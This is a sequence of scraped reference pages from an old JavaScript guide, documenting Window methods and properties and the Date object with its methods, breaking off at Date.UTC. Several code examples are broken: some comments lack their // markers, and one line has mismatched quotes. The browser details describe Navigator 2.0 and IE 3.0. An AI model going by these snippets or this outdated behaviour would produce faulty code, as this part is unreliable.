HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.prompt()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.prompt() Method

Name

Window.prompt() Method---get string input in a dialog

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.prompt(message)
window.prompt(message, default)

Arguments

message

The plain text (not HTML) string to be displayed in the dialog. It should ask the user to enter the information you want. On Windows platforms, only one line messages are allowed.

default

An optionally specified string or integer which will be displayed as the default input in the dialog. If null is specified, or if this argument is not passed at all, then prompt() displays the string "<undefined>" as the default value. Pass the empty string ("") to make prompt() display an empty input box.

Returns

The string entered by the user, or the empty string if the user did not enter a string, or null if the user clicked Cancel.

Description

The prompt() method displays the specified message in a dialog box that also contains a textual input field and OK, Clear, and Cancel buttons. Platform-dependent graphics in the dialog help to indicate to the user that her input is desired.

The default argument specifies the text that initially appears in the input field. If default is null, or if this optional argument is not passed at all, then the initial text is "<undefined>". If default is the empty string ("") then the input field is initially empty. Otherwise, the input field displays the string or number that is passed as the default.

If the user clicks the Cancel button, prompt() returns null. If the user clicks the Clear button, prompt() erases any current text in the input field. If the user clicks the OK button, prompt() returns the value current value displayed in the input field. Note, however, that if the input field is displaying "<undefined>" because the default argument was null or unspecified, then prompt() returns the empty string and not the string "<undefined>". Also note that prompt() always returns the user's input as a string value, even if default was specified as a numeric value. If necessary, you can use parseInt() or parseFloat() to convert the returned string to a number.

The dialog box that is displayed by the prompt() method is modal--that is, it blocks all user input to the main browser window until the user dismisses the dialog by clicking on the OK or Cancel buttons. Since this method returns a value depending on the user's response to the dialog, JavaScript execution pauses in the call to prompt(), and subsequent statements are not executed until the user responds to the dialog.

Usage

Note that the question displayed in the dialog is a string of plain text, not of formatted HTML. Unlike the message displayed by the alert() and confirm() methods, the message displayed by prompt() may only be a single line long on Windows platforms.

See Also

"Window", "Window.alert()", "Window.confirm()"

Previous | Home | Next
Window.parent | Book Index | Window.scroll()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.scroll()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.scroll() Method

Name

Window.scroll() Method---scroll a document in a window

Availability

Navigator 3.0

Synopsis

window.scroll(x, y)

Arguments

x

The X-coordinate to scroll to.

y

The Y-coordinate to scroll to.

Returns

Nothing.

Description

The scroll() method moves the window's document within the window, so that the specified x and y coordinates of the document appear in the upper-left corner of the window.

The X coordinate increases to the right, and the Y coordinate increases down the page. Thus, scroll(0,0) always places the top-left corner of the document in the top-left corner of the window.

See Also

"Window"

Previous | Home | Next
Window.prompt() | Book Index | Window.self
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.self

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.self Property

Name

Window.self Property---the window itself

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.self

Description

The self property contains a reference to the Window object specified by window, i.e., window.self is identical to window. Because a reference to the current top-level window or frame is implicit in all JavaScript expressions, the window in the above expressions can be omitted and you can simply use self to refer to the current window.

Usage

The self property provides a way to explicitly refer to the current window or frame when necessary (for example, when passing a the current window to a function). The self property is also sometimes useful for code clarity. Using self.name to refer to the name of the current window or frame is less ambiguous than simply using name, for example.

The window property is a synonym for the self property.

See Also

"Window", "Window.window"

Previous | Home | Next
Window.scroll() | Book Index | Window.setTimeout()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: closed

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

closed Property

Name

closed Property---see "Window.closed"

Previous | Home | Next
close() | Book Index | confirm()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.setTimeout()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.setTimeout() Method

Name

Window.setTimeout() Method---defer execution of code

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.setTimeout(code, delay)

Arguments

code

A string that contains the JavaScript code to be executed after the delay has elapsed.

delay

The amount of time, in milliseconds, before the JavaScript statements in the string code should be executed.

Returns

An opaque value (a "timeout id") that can be passed to the clearTimeout() method to cancel the execution of code.

Description

The setTimeout() method defers the execution of the JavaScript statements in the string code for delay milliseconds. Once the specified number of milliseconds have elapsed, the statements in code are executed normally. Note that they are executed only once. To execute code repeatedly, code must itself contain a call to setTimeout() to register itself to be executed again.

The statement in the string code are executed in the context of window--i.e., window will be the current window for those statements. If more than one statement appears in code, the statements must be separated from each other with semicolons.

Bugs

In Navigator 2.0 memory allocated by JavaScript is not freed until the browser leaves a web page. Each call to setTimeout() consumes some memory, and the deferred code generally consumes memory as well. Thus, if a page performs some sort of infinite loop (for example, a status-bar animation using Window.setTimeout() and Window.status), then memory will slowly be consumed, and Navigator may crash if the user remains on the page for a long time.

See Also

"Window", "Window.clearTimeout()"

Previous | Home | Next
Window.self | Book Index | Window.status
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.status

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.status Property

Name

Window.status Property---specify a transient message

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.status

Description

status is a read/write string property that specifies a transient message to appear in the window's status line. The message generally appears only for a limited amount of time--until it is overwritten by another message, or until the user moves the mouse to some other area of the window, for example. When a message specified with status is erased, the status line returns to its default blank state, or to the default message specified by the defaultStatus property.

Although only top-level windows have a status line, the status property of frames may also be set. Doing so displays the specified message in the top-level window's status line. Transient messages set by frames will be visible regardless of which frame currently has focus or which frame the mouse is in. This differs from the behavior of the defaultStatus property.

Usage

status is used to display transient messages in the status line. To display semi-permanent messages, use the defaultStatus property.

In general, setting the status property is only useful from event handlers and in code fragments deferred with the Window.setTimeout() method. If you set status directly from a script, the message will not be visible to the user. It will not be displayed right away, and when it is displayed, it will likely be immediately overwritten by a browser message such as "Document: done".

If you want to set the status property in the onMouseOver() event handler of a hypertext link, you must return true from that event handler. This is because the default action when the mouse goes over a link is to display the URL of that link, thereby overwriting any status message set by the event handler. By returning true from the event handler, you cancel this default action and leave your own status message displayed (until the mouse moves off of the link).

See Also

"Window", "Window.defaultStatus"

Previous | Home | Next
Window.setTimeout() | Book Index | Window.sun
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.sun

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.sun Property

Name

Window.sun Property---see "sun"

Previous | Home | Next
Window.status | Book Index | Window.top
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.top

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.top Property

Name

Window.top Property---the window of a frame

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.top

Description

The top property is a read-only reference to the Window object that is the top-level window that contains window. If window is a top-level window itself, then the top property simply contains a reference to window. If window is a frame, then the top property contains a reference to the top-level window that contains the frame. Note that the top property refers to a top-level window even if window refers to a frame contained within another frame (which may itself be contained within a frame, and so on). Compare this with the Window.parent property.

Usage

Certain operations, such as setting the status and defaultStatus properties only are useful when performed on a top-level window. When JavaScript code running in a frame needs to operate on its top-level window, it can use the top property. For example, it could display a message in the message line as follows:

top.defaultStatus = 'Welcome to my Home Page!';

See Also

"Window", "Window.parent"

Previous | Home | Next
Window.sun | Book Index | Window.window
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.window

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.window Property

Name

Window.window Property---the window itself

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.window

Description

The window property is identical to the self property; it contains a reference to the Window object specified by window. That is, window.window is identical to window itself. Because a reference to the current top-level window or frame is implicit in all JavaScript expressions, the window in the above expressions can be omitted and you can simply use window to refer to the current window.

Usage

The window property (and its synonym, self) provides a way to explicitly refer to the current window or frame when necessary, or when convenient for code clarity. To open a new window in an event handler, for example, it is necessary to use window.open(), because open() by itself would be confused with the Document.open() method.

See Also

"Window", "Window.self"

Previous | Home | Next
Window.top | Book Index | JavaScript Resources on the Internet
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: confirm()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

confirm() Method

Name

confirm() Method---see "Window.confirm()"

Previous | Home | Next
closed | Book Index | Date
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date Object

Name

Date Object---manipulate dates and times

Availability

Navigator 2.0, Internet Explorer 3.0

Constructor

To create a Date object, use one of the following five syntaxes:

new Date();
new Date(milliseconds)
new Date(datestring);
new Date(year, month, day);
new Date(year, month, day, hours, minutes, seconds)

With no arguments, the Date() constructor creates a Date object set to the current date and time. Otherwise, the arguments to Date() specify the date, and, optionally, the time for the new object. Note that in the third through fifth syntaxes above, the specified times are interpreted as local times, not Greenwich Mean Time (GMT) times.

Date() can also be used as a function instead of a constructor. When invoked without the new operator, and without any arguments, Date() does not create a Date object but instead returns a string that represents the current date and time for the local time zone. Calling Date() without the new operator is equivalent to using it with the new operator to create a Date object and then using the toString() method of that object to convert the date to a string.

When used as a constructor, the arguments to Date(), are the following:

Arguments

milliseconds

The number of milliseconds between the desired date and midnight GMT on January 1st, 1970. For example passing the argument 5000 would create a date that represents five seconds past midnight on 1/1/70.

datestring

A single argument that specifies the date and, optionally, the time as a String. The string should have the format month day, year hours:minutes:seconds where month is the English name of the month, and hours are specified in 24-hour format. For example:

new Date("December 31, 1999 23:59:59");

The seconds field or the entire time specification may be omitted from this format.

year

The year, in four-digit format. For example, specify 2001 for the year 2001. For years within the 20th century, you can also subtract 1900 and specify the date in two-digit format. For example, you could specify 97 for the year 1997.

month

The month, specified as an integer from 0 (January) to 11 (December)

day

The day of the month, specified as an integer from 1 to 31. Note that this argument uses 1 as its lowest value, while other arguments use 0 as their lowest value.

hours

The hour, specified as an integer from 0 (midnight) to 23 (11 p.m.).

minutes

The minutes in the hour, specified as an integer from 0 to 59.

seconds

The seconds in the minute, specified as an integer from 0 to 59.

Returns

The newly created Date object.

Methods

Once a Date object is created by using Date() as a constructor in any of the forms shown above, any of the following methods can be used to operate on the Date object. Note that unlike most JavaScript objects, the Date object has no properties that can be read and written directly; instead, all access to date and time fields is done through these methods.

getDate()

Return the day of the month of a Date object.

getDay()

Return the day of the week of a Date object.

getHours()

Return the hours field of a Date object.

getMinutes()

Return the minutes field of a Date object.

getMonth()

Return the month field of a Date object.

getSeconds()

Return the seconds field of a Date object.

getTime()

Return the internal, millisecond representation of a Date object.

getTimezoneOffset()

Return the time zone difference, in minutes, between this date and GMT.

getYear()

Return the year field of a Date object.

parse()

Parse a string representation of a date, and return it in millisecond format.

setDate()

Set the day of the month field of a Date object.

setHours()

Set the hour field of a Date object.

setMinutes()

Set the minutes field of a Date object.

setMonth()

Set the month field of a Date object.

setSeconds()

Set the seconds field of a Date object.

setTime()

Set the fields of a Date object using the millisecond format.

setYear()

Set the year field of a Date object.

toGMTString()

Convert a Date to a string, using the GMT time zone.

toLocaleString()

Convert a Date to a string, using the local time zone.

UTC()

Convert a numeric date and time specification to millisecond format.

Description

The Date object is a datatype built into the JavaScript language. Unlike most other JavaScript object types, the Date object does not represent any HTML construct in the current document. Instead, it is an independent object that can be created and manipulated freely by JavaScript code. Date objects are created with the new Date() syntax shown in the Constructor section above.

Note that when the Date() constructor is used without the new operator, and is called with no arguments, it does not create a Date object but instead simply returns a string containing the current date and time in the local time zone. Calling Date() in this way is equivalent to creating a Date object to represent the current date and time and then calling the toString() method of that object:

(new Date()).toString()

Once a Date object is created, there are a number of methods that allow you to operate on it. Most of the methods simply allow you to get and set the year, month, day, hour, minute, and second fields of the object. The toGMTString() and toLocaleString() methods convert dates to human-readable strings. getTime() and setTime() convert to and from the internal representation of the Date object--the number of milliseconds since midnight (GMT) on January 1st, 1970. In this standard "millisecond format", a date and time are represented by a single integer, which makes date arithmetic particularly easy.

Most of the Date object methods are invoked through an instance of the Date object. For example:

d = new Date();  // get today's date and time
system.write('Today is: " + d.toLocaleString());  // and print it out

There are two functions, however, that have Date in their name, but are not methods, and do not operate on a Date object. These functions, Date.parse() and Date.UTC(), are useful for converting dates to millisecond format. Note though that they do not use the Date object, and are therefore not invoked through a Date object.

Usage

Because JavaScript code may be run on machines all over the world, you need to pay attention to time zone differences. The syntax for creating Date objects shown above assumes that date and time values are specified in local time. While this is appropriate in some cases, there are many cases when it is not. When your code must work the same independently of the time zone in which it is run, you should specify all your hardcoded dates in the GMT (or UTC) time zone. You can then use the Date.UTC() method to convert these date specifications to a time zone-independent number of milliseconds. You can then use this number of milliseconds directly, or can use it to create a Date object.

Bugs

In Navigator 2.0, the Date object has quite a few bugs and is almost unusable. On Macintosh platforms, the time returned is off by an hour. There appears to be something wrong with the Navigator implementation of Date.toGMTString. On all platforms, time zones are not handled well, and prior to version 2.0.2, there are difficulties handling daylight savings time. A side effect of this is that Navigator 2.0 and 2.0.1 cannot correctly determine whether a document on a server is newer than the cached version and so the Reload button does not always work correctly.

You can usually use the Date object to print out the current date, and you can use it to compute the interval (in milliseconds) between two dates or times in the same time zone, but you should probably not attempt more sophisticated uses of it than that.

Example

The most common use of the Date object (and probably the only particularly interesting use) is to subtract the millisecond representations of the current time from some other time to determine the difference between the two times. The following example shows two such uses:

<SCRIPT language="JavaScript">
today = new Date(); make a note of today's date
christmas = new Date(); get a date with the current year
christmas.setMonth(11); set the month to December...
christmas.setDate(25);  ...and the day to the 25th
// If Christmas hasn't already passed, compute the number of
// milliseconds between now and Christmas, then convert this
// to a number of days and print a message.
if (today.getTime() < christmas.getTime()) {
    difference = christmas.getTime() - today.getTime();
    difference = Math.floor(difference / (1000 * 60 * 60 * 24));
    document.write('Only ' + difference + ' days until Christmas!<P>');
}
</SCRIPT>
   ... rest of HTML document here ..
<SCRIPT language="JavaScript">
// Here we use Date objects for timing. We divide by 1000
// to convert milliseconds to seconds. We could divide
// further to convert to minutes, hours or days.
now = new Date();
document.write('<P>It took ' +
    (now.getTime()-today.getTime())/1000 +
    'seconds to load this page.');
</SCRIPT>

See Also

"Date.parse()", "Date.UTC()"

Previous | Home | Next
confirm() | Book Index | Date.getDate()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getDate()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getDate() Method

Name

Date.getDate() Method---return the day of the month

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getDate()

Arguments

none

Returns

The day of the month of the specified Date object date. Return values are between 1 and 31.

See Also

"Date", "Date.setDate()"

Previous | Home | Next
Date | Book Index | Date.getDay()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getDay()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getDay() Method

Name

Date.getDay() Method---return the day of the week

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getDay()

Arguments

none

Returns

The day of the week of the specified Date object date. Return values are between 0 (Sunday) and 6 (Saturday).

See Also

"Date"

Previous | Home | Next
Date.getDate() | Book Index | Date.getHours()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getHours()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getHours() Method

Name

Date.getHours() Method---return the hours field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getHours()

Arguments

none

Returns

The hours field of the specified Date object date. Return values are between 0 (midnight) and 23 (11 pm).

See Also

"Date", "Date.setHours()"

Previous | Home | Next
Date.getDay() | Book Index | Date.getMinutes()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getMinutes()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getMinutes() Method

Name

Date.getMinutes() Method---return the minutes field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getMinutes()

Arguments

none

Returns

The minutes field of the specified Date object date. Return values are between 0 and 59.

See Also

"Date", "Date.setMinutes()"

Previous | Home | Next
Date.getHours() | Book Index | Date.getMonth()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getMonth()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getMonth() Method

Name

Date.getMonth() Method---return the month of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getMonth()

Arguments

none

Returns

The month field of the specified Date object date. Return values are between 0 (January) and 11 (December).

See Also

"Date", "Date.setMonth()"

Previous | Home | Next
Date.getMinutes() | Book Index | Date.getSeconds()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getSeconds()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getSeconds() Method

Name

Date.getSeconds() Method---return the seconds field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getSeconds()

Arguments

none

Returns

The seconds field of the specified Date object date. Return values are between 0 and 59.

See Also

"Date", "Date.setSeconds()"

Previous | Home | Next
Date.getMonth() | Book Index | Date.getTime()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getTime()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getTime() Method

Name

Date.getTime() Method---return a Date in milliseconds

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getTime()

Arguments

none

Returns

The millisecond representation of the specified Date object date. That is, this method returns the number of milliseconds between midnight (GMT) on 1/1/1970 and the date and time specified by date.

Usage

getTime() converts a date and time to a single integer. This is useful when you want to compare two Date objects or to determine the time elapsed between two dates.

Date.parse() and Date.UTC() allow you to convert a date and time specification to millisecond representation without going through the overhead of first creating a Date object.

See Also

"Date",
"Date.parse()",
"Date.setTime()",
"Date.UTC()"

Previous | Home | Next
Date.getSeconds() | Book Index | Date.getTimezoneOffset()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getTimezoneOffset()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getTimezoneOffset() Method

Name

Date.getTimezoneOffset() Method---determine the offset from GMT

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getTimezoneOffset()

Arguments

none

Returns

The difference, in minutes, between Greenwich Mean Time (GMT) and the local time.

Description

getTimezoneOffset() returns the number of minutes difference between the GMT or UTC time zone and the local time zone. In effect, this function tells you what time zone the JavaScript code is running in. The return value is measured in minutes, rather than hours, because some countries have time zones that are not at even one-hour intervals.

getTimezoneOffset() is invoked through a Date object. Note, however, that it doesn't actually reference the Date object, and so it ought to be an independent function instead of a method.

See Also

"Date"

Previous | Home | Next
Date.getTime() | Book Index | Date.getYear()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.getYear()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.getYear() Method

Name

Date.getYear() Method---return the year field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.getYear()

Arguments

none

Returns

The year field of the specified Date object date.

Description

getYear() returns the year field of a specified Date object. The format that this year is returned in requires additional explanation, however. In Navigator 2.0 and 3.0, the return return value of this method is the year minus 1900 for dates between the years 1900 and 1999. For example, if date represents a date in 1997, then the return value would be 97. On the other hand, for dates in years prior to 1900 or after 1999, getYear() returns the year itself in Navigator 2.0 and 3.0. For example, if date represents a date in 2000, the method returns 2000 on Navigator platforms.

Internet Explorer 3.0 always returns the year minus 1900, however, so getYear() on this platform would return 85 to represent 1985, 100 to represent the year 2000 and 110 to represent 2010. IE 3.0 cannot represent years prior to 1970, so these return values are never negative numbers.

To work around these strange and incompatible return values, you should replace getYear() with a function like the following:

function getFullYear(d) returns the correct year for any year after 1000
{
    var y = d.getYear();
    if (y < 1000) y += 1900;
    return y;
}

Bugs

The disparity in return values between dates in the twentieth and twenty-first centuries in Navigator is bizarre, and, if not carefully taken into account may be the source of "millennium bugs" in your code. The incompatibility between platforms makes this method especially annoying to use.

See Also

"Date", "Date.setYear()"

Previous | Home | Next
Date.getTimezoneOffset() | Book Index | Date.parse()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.parse()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.parse() Function

Name

Date.parse() Function---parse a date/time string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Date.parse(date)

Arguments

date

A string containing the date and time to be parsed.

Returns

The number of milliseconds between the specified date and time and midnight, January 1st, 1970, GMT.

Description

Date.parse() is a function with a name that begins with "Date". It is related to the Date object, but it is not a method of the Date object, and is not invoked on a Date object. It is always invoked as Date.parse(), not as date.parse() on some Date object date.

Date.parse() takes a single string argument. It parses the date contained in this string and returns it in millisecond format, which can be used directly, or used to create a new Date object, or to set the date in an existing Date object with Date.setTime().

Date.parse() understands the IETF standard date format used in email and other Internet communications. Dates in this format look like this:

Wed, 8 May 1996 17:41:46 -0400

This is the format written by the Date.toGMTString() method. Date.parse() can also parse dates in this format from which the day of the week, the time zone, the seconds or the complete time specification have been omitted. It also understands the GMT time zone, and the standard abbreviations for the time zones of the United States.

Bugs

In Navigator 2.0, prior to 2.0.2, this function cannot correctly parse time zone information.

See Also

"Date",
"Date.setTime()",
"Date.toGMTString()",
"Date.UTC()"

Previous | Home | Next
Date.getYear() | Book Index | Date.prototype
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.prototype

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.prototype Property

Name

Date.prototype Property---see "Function.prototype"

Previous | Home | Next
Date.parse() | Book Index | Date.setDate()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.setDate()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.setDate() Method

Name

Date.setDate() Method---set the day of the month

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.setDate(day_of_month)

Arguments

day_of_month

A number between 1 and 31 that is set as the day of the month in the Date object date.

Returns

nothing

See Also

"Date", "Date.getDate()"

Previous | Home | Next
Date.prototype | Book Index | Date.setHours()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.setHours()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.setHours() Method

Name

Date.setHours() Method---set the hours field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.setHours(hours)

Arguments

hours

An integer between 0 (midnight) and 23 (11pm) that is set as the hours value for the Date object date.

Returns

nothing

See Also

"Date", "Date.getHours()"

Previous | Home | Next
Date.setDate() | Book Index | Date.setMinutes()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.setMinutes()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.setMinutes() Method

Name

Date.setMinutes() Method---set the minutes field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.setMinutes(minutes)

Arguments

minutes

An integer between 0 and 59, that is set as the minutes value in the Date object date.

Returns

nothing

See Also

"Date", "Date.getMinutes()"

Previous | Home | Next
Date.setHours() | Book Index | Date.setMonth()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.setMonth()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.setMonth() Method

Name

Date.setMonth() Method---set the month field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.setMonth(month)

Arguments

month

An integer between 0 (January) and 11 (December) that is set as the month value for the Date object date.

Returns

nothing

See Also

"Date", "Date.getMonth()"

Previous | Home | Next
Date.setMinutes() | Book Index | Date.setSeconds()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.setSeconds()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.setSeconds() Method

Name

Date.setSeconds() Method---set the seconds field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.setSeconds(seconds)

Arguments

seconds

An integer between 0 and 59 that is set as the seconds value for the Date object date.

Returns

nothing

See Also

"Date", "Date.getSeconds()"

Previous | Home | Next
Date.setMonth() | Book Index | Date.setTime()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.setTime()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.setTime() Method

Name

Date.setTime() Method---set a Date in milliseconds

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.setTime(milliseconds)

Arguments

milliseconds

The number of milliseconds between the desired date and time and midnight GMT on January 1st, 1970. Representing a date in this millisecond format makes it independent of time zone.

Returns

nothing

See Also

"Date", "Date.getTime()"

Previous | Home | Next
Date.setSeconds() | Book Index | Date.setYear()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.setYear()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.setYear() Method

Name

Date.setYear() Method---set the year field of a Date

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.setYear(year)

Arguments

year

An integer which is set as the year value for the Date object date. Usually, you should use four-digit format for year specifications. For example, specify 2001 for the year 2001. For years within the 20th century, you can also subtract 1900 and specify the date in two-digit format. For example, you could specify 97 for the year 1997.

Returns

nothing

See Also

"Date", "Date.getYear()"

Previous | Home | Next
Date.setTime() | Book Index | Date.toGMTString()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.toGMTString()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.toGMTString() Method

Name

Date.toGMTString() Method---convert a date to a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.toGMTString()

Arguments

none

Returns

A string representation of the date and time specified by the Date object date. The date is converted from the local time zone to the GMT time zone before being converted to a string.

Description

toGMTString() converts a date to a string using the GMT time zone. The format of the returned string is platform dependent, but usually it will appear something like this:

Tue, 02 Apr 1996 02:04:57 GMT

See Also

"Date", "Date.parse()", "Date.toLocaleString()"

Previous | Home | Next
Date.setYear() | Book Index | Date.toLocaleString()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.toLocaleString()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.toLocaleString() Method

Name

Date.toLocaleString() Method---convert a Date to a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

date.toLocaleString()

Arguments

none

Returns

A string representation of the date and time specified by the Date object date. The date and time are represented in the local time zone.

Usage

toLocaleString() converts a date to a string, using the local time zone. This method also uses local conventions for date and time formatting, so the format may vary widely platform to platform, and also country to country. This method returns a string formatted in what is likely the user's preferred date and time format. Because the format may vary widely, this method is not useful when the date string must be passed to a CGI script or otherwise machine processed.

Use Date.toGMTString() to convert a date to a string using the GMT time zone and a more standard format.

See Also

"Date", "Date.parse()", "Date.toGMTString()"

Previous | Home | Next
Date.toGMTString() | Book Index | Date.UTC()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Date.UTC()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Date.UTC() Function

Name

Date.UTC() Function---convert a date specification to milliseconds

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Date.UTC(year, month, day [, hours [, minutes [, seconds]]]);

Arguments

year

The year minus 1900. For example, specify 96 for the year 1996.

month

The month, specified as an integer from 0 (January) to 11 (December)

day

The day of the month, specified as an integer from 1 to 31. Note that this argument uses 1 as its lowest value, while other arguments use 0 as their lowest value.

hours

The hour, specified as an integer from 0 (midnight) to 23 (11 p.m.). This argument may be omitted if minutes and seconds are also omitted.

minutes

The minutes in the hour, specified as an integer from 0 to 59. This argument may be omitted if seconds is also omitted.

seconds

The seconds in the minute, specified as an integer from 0 to 59. This argument may be omitted.

Returns
